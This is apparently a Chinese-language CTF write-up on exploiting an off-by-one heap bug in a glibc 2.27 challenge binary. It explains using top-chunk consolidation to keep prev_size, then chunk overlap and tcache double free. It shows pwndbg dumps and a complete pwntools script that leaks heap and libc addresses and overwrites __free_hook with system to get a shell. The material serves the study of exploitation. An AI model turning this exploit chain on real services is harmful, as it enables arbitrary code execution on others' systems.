source writeup - 利用 top chunk 巧妙绕过检查

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
  4. 4. 脚本

该程序对于输入有很严格的控制,使得我们很难手动编辑出一个 prev_size ,靶机环境是 glibc-2.27 。

源程序和相关文件下载:source.zip

安全防护

ex@Ex:~/temp2$ checksec source
[*] '/home/ex/temp2/source'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

溢出点

void __fastcall safe_read(char *a1, int a2)
{
unsigned int v2; // [rsp+14h] [rbp-Ch]

v2 = 0;
if ( a2 )
{
while ( 1 )
{
read(0, &a1[v2], 1uLL);
if ( a2 - 1 < v2 || !a1[v2] || a1[v2] == 10 )
break;
++v2;
}
a1[v2] = 0;
a1[a2] = 0;
}
else
{
*a1 = 0;
}
}

safe_read函数存在off by one,由于malloc的size是固定的,而且chunk大小恰好是0x100,由于存在null 截断,所以我们很难构造prev_size

思路

利用unlink来构造prev_size,然后off by one使得chunk overlap,然后double free,最重要的是利用top chunk来保存prev_size和绕过unlink的检查。

First: 利用unlink来构造prev_size

for i in range(10):
malloc(0xf0, '\n')

for i in range(9):
free(i)

free(9)

调试结果如下:

pwndbg> heap
...
0x55cc3f095a00 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 513,
fd = 0x7fdc14b3fca0 <main_arena+96>,
bk = 0x7fdc14b3fca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55cc3f095c00 {
mchunk_prev_size = 512,
mchunk_size = 256,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55cc3f095d00 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 131841,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

注意这里必须要让最后一个chunktop chunk相邻,这样在free的时候会直接和top chunk合并,否则放入unsorted bin的话,下次malloc出来时prev_size会被冲刷掉。

Secondoff by one使得chunk overlap

for i in range(10):
malloc(0xf0, '\n')

for i in range(7):
free(i)

free(7)
malloc(0xf0, '\n') # 0

free(8)
# off by one
malloc(0xf8, '\n') # 1
free(0)
# chunk overlap
free(9)

其调试结果如下:

pwndbg> heap
...
0x55cc3f095a00 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 257,
fd = 0x7fdc14b3fca0 <main_arena+96>,
bk = 0x7fdc14b3fca0 <main_arena+96>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55cc3f095b00 {
mchunk_prev_size = 256,
mchunk_size = 256,
fd = 0x55cc3f095400,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55cc3f095c00 {
mchunk_prev_size = 512,
mchunk_size = 256,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55cc3f095d00 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 131841,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/22gx 0x55cc3f095250
0x55cc3f095250: 0x0000000000000000 0x00000000000000b1
0x55cc3f095260: 0x0000000000000000 0x0000000000000000
0x55cc3f095270: 0x000055cc3f095b10 0x00000000000000f8
0x55cc3f095280: 0x0000000000000000 0x0000000000000000
0x55cc3f095290: 0x0000000000000000 0x0000000000000000
0x55cc3f0952a0: 0x0000000000000000 0x0000000000000000
0x55cc3f0952b0: 0x0000000000000000 0x0000000000000000
0x55cc3f0952c0: 0x0000000000000000 0x0000000000000000
0x55cc3f0952d0: 0x0000000000000000 0x0000000000000000
0x55cc3f0952e0: 0x0000000000000000 0x0000000000000000
0x55cc3f0952f0: 0x000055cc3f095c10 0x00000000000000f0
pwndbg> bin
tcachebins
0x100 [ 7]: 0x55cc3f095310 —▸ 0x55cc3f095410 —▸ 0x55cc3f095510 —▸ 0x55cc3f095610 —▸ 0x55cc3f095710 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55cc3f095a00 —▸ 0x7fdc14b3fca0 (main_arena+96) ◂— 0x55cc3f095a00
smallbins
empty
largebins
empty
pwndbg>

这里要注意,由于要chunk overlap的中间仅有一个chunk,原本是过不了检查的,但是由于要freechunktop chunk相邻,使得其直接和top chunk合并,最终巧妙的绕过检查。

End: 完成上面的工作后,之后便是用double free泄露信息,劫持hook。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './source'
# execve_file = './secret_of_my_heart.bak'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10402)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''

'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def malloc(size, content):
sh.sendafter('which command?\n> ', '1'.ljust(4, '\0'))
sh.sendafter('size \n> ', str(size).ljust(4, '\0'))
sh.sendafter('content \n> ', content)

def free(index):
sh.sendafter('which command?\n> ', '2'.ljust(4, '\0'))
sh.sendafter('index \n> ', str(index).ljust(4, '\0'))

def puts(index):
sh.sendafter('which command?\n> ', '3'.ljust(4, '\0'))
sh.sendafter('index \n> ', str(index).ljust(4, '\0'))


for i in range(10):
malloc(0xf0, '\n')

for i in range(9):
free(i)

free(9)

for i in range(10):
malloc(0xf0, '\n')

for i in range(7):
free(i)

free(7)
malloc(0xf0, '\n') # 0

free(8)
# off by one
malloc(0xf8, '\n') # 1
free(0)
# chunk overlap
free(9)

for i in range(9):
malloc(0xf0, '/bin/sh\0')

free(0)
free(1)

puts(9)

result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x310
log.success('heap_addr: ' + hex(heap_addr))

malloc(0xf0, '\0') # 0

free(2)
free(3)
free(4)
free(5)

# double free
free(0)
free(9)

malloc(0xf0, p64(heap_addr + 0x260))

malloc(0xf0, p64(0))

malloc(0x8, p64(heap_addr + 0xa18)[:7])

puts(0)

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

# double free
free(1)

malloc(0xf0, p64(heap_addr + 0x260))
malloc(0xf0, p64(0))
malloc(0x8, p64(heap_addr + 0xa10)[:7])


# double free
free(1)
free(3)
malloc(0x8, p64(libc_addr + libc.symbols['__free_hook'])[:7])
malloc(0xf0, '\0')
malloc(0x8, p64(libc_addr + libc.symbols['system'])[:7])

free(0)

sh.interactive()
clear()